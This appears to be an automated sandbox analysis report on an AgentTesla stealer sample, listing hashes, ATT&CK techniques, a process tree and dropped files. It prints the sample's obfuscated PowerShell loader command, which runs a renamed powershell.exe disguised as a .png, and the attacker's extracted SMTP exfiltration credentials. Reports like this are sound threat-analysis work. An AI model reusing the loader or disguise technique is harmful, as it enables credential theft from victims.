agenttesla | 1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

General

Target

1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat
Size

1009KB
MD5

27c302e3247d5a9f8fce50cfba636e22
SHA1

7939d397dba283814967080fb37913d9076dab49
SHA256

1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0
SHA512

040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70
SSDEEP

24576:hHOmVihj9V3HNS0B0dgIx4l0ivt/Ixdt+gnfpV6gXhtnLPv+yqV82DqdFUWvw:h6j3fpI57zPVqmTgj

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.asiaparadisehotel.com
Port:
587
Username:
[email protected]
Password:
^b2ycDldex$@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Executes dropped EXE 1 IoCs

pid	Process
3760	Iduou.png

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3635043082-2972811465-3176142135-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\M yApp = "C:\\Users\\Admin\\AppData\\Roaming\\M yApp\\M yApp.exe"	Iduou.png

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
43	api.ipify.org

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	Iduou.png

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2792	3760	WerFault.exe	96

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3760	Iduou.png
3760	Iduou.png
3760	Iduou.png
3760	Iduou.png
3760	Iduou.png

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	Iduou.png
Token: SeDebugPrivilege	3760	Iduou.png
Token: SeRestorePrivilege	3760	Iduou.png
Token: SeBackupPrivilege	3760	Iduou.png
Token: SeBackupPrivilege	3760	Iduou.png

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1036 wrote to memory of 4112	1036	cmd.exe	87
PID 1036 wrote to memory of 4112	1036	cmd.exe	87
PID 1036 wrote to memory of 1648	1036	cmd.exe	88
PID 1036 wrote to memory of 1648	1036	cmd.exe	88
PID 1036 wrote to memory of 3584	1036	cmd.exe	90
PID 1036 wrote to memory of 3584	1036	cmd.exe	90
PID 3584 wrote to memory of 2768	3584	cmd.exe	92
PID 3584 wrote to memory of 2768	3584	cmd.exe	92
PID 3584 wrote to memory of 4648	3584	cmd.exe	93
PID 3584 wrote to memory of 4648	3584	cmd.exe	93
PID 3584 wrote to memory of 2756	3584	cmd.exe	94
PID 3584 wrote to memory of 2756	3584	cmd.exe	94
PID 3584 wrote to memory of 1676	3584	cmd.exe	95
PID 3584 wrote to memory of 1676	3584	cmd.exe	95
PID 3584 wrote to memory of 3760	3584	cmd.exe	96
PID 3584 wrote to memory of 3760	3584	cmd.exe	96
PID 3584 wrote to memory of 3760	3584	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:4112
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
  2⤵
  PID:1648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2768
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Iduou.png
    3⤵
    PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2756
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0.bat C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat
    3⤵
    PID:1676
- - C:\Users\Admin\AppData\Local\Temp\Iduou.png
    C:\Users\Admin\AppData\Local\Temp\Iduou.png -win 1 -enc JABBAGIAcQB5AGwAYwBiAGYAcgBvACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEcAYwBxAHMAcwBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQQBiAHEAeQBsAGMAYgBmAHIAbwApADsAJABKAHQAdABjAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAYwBxAHMAcwBuAGQAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVQB2AGoAZABtAGcAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAHQAdABjAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFUAdgBqAGQAbQBnAGwALgBDAGwAbwBzAGUAKAApADsAJABKAHQAdABjAHAALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAGMAcQBzAHMAbgBkACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABWAG0AaABoAHEAZABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEcAYwBxAHMAcwBuAGQAKQA7ACAAJABQAHEAawBpAHkAbABpAGMAcgAgAD0AIAAkAFYAbQBoAGgAcQBkAHAALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAHUAZABxAHcAbgBzAGUAdAB4AG8AIAA9ACAAJABQAHEAawBpAHkAbABpAGMAcgAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3760 -s 2796
      4⤵
      Program crash
      PID:2792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3760 -ip 3760
1⤵
PID:1184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Iduou.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Iduou.png.bat

Filesize
1009KB

MD5
27c302e3247d5a9f8fce50cfba636e22

SHA1
7939d397dba283814967080fb37913d9076dab49

SHA256
1dcd0d42ac6d49c7447bd11b3c08d26b3e03d1000483c8ce1ac6914fd249a6a0

SHA512
040e32f01348045b4a9d65666e7bb966150b3ae34e6078b23c0d3c58a8f18e48096091e05ea5bffa09a4f33f93a441e4767a9d9468e8d3f4adbcfc10733b4c70

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpbq35zu.rua.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\users\admin\appdata\local\temp\iduou.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/3760-29-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-32-0x0000000007BB0000-0x0000000007C78000-memory.dmp

Filesize
800KB

Download
memory/3760-13-0x0000000005A00000-0x0000000005A22000-memory.dmp

Filesize
136KB

Download
memory/3760-14-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/3760-15-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/3760-11-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-21-0x00000000063A0000-0x00000000066F4000-memory.dmp

Filesize
3.3MB

Download
memory/3760-26-0x00000000069F0000-0x0000000006A0E000-memory.dmp

Filesize
120KB

Download
memory/3760-27-0x0000000006A10000-0x0000000006A5C000-memory.dmp

Filesize
304KB

Download
memory/3760-10-0x0000000003460000-0x0000000003496000-memory.dmp

Filesize
216KB

Download
memory/3760-9-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-30-0x0000000008230000-0x00000000088AA000-memory.dmp

Filesize
6.5MB

Download
memory/3760-31-0x0000000006F20000-0x0000000006F3A000-memory.dmp

Filesize
104KB

Download
memory/3760-12-0x0000000005C30000-0x0000000006258000-memory.dmp

Filesize
6.2MB

Download
memory/3760-33-0x0000000007C80000-0x0000000007CFA000-memory.dmp

Filesize
488KB

Download
memory/3760-34-0x0000000007E00000-0x0000000007E66000-memory.dmp

Filesize
408KB

Download
memory/3760-36-0x0000000005710000-0x0000000005753000-memory.dmp

Filesize
268KB

Download
memory/3760-37-0x0000000007FF0000-0x0000000008032000-memory.dmp

Filesize
264KB

Download
memory/3760-38-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-39-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-40-0x0000000008E60000-0x0000000009404000-memory.dmp

Filesize
5.6MB

Download
memory/3760-41-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3760-8-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3760-44-0x00000000033D0000-0x00000000033E0000-memory.dmp

Filesize
64KB

Download
memory/3760-46-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads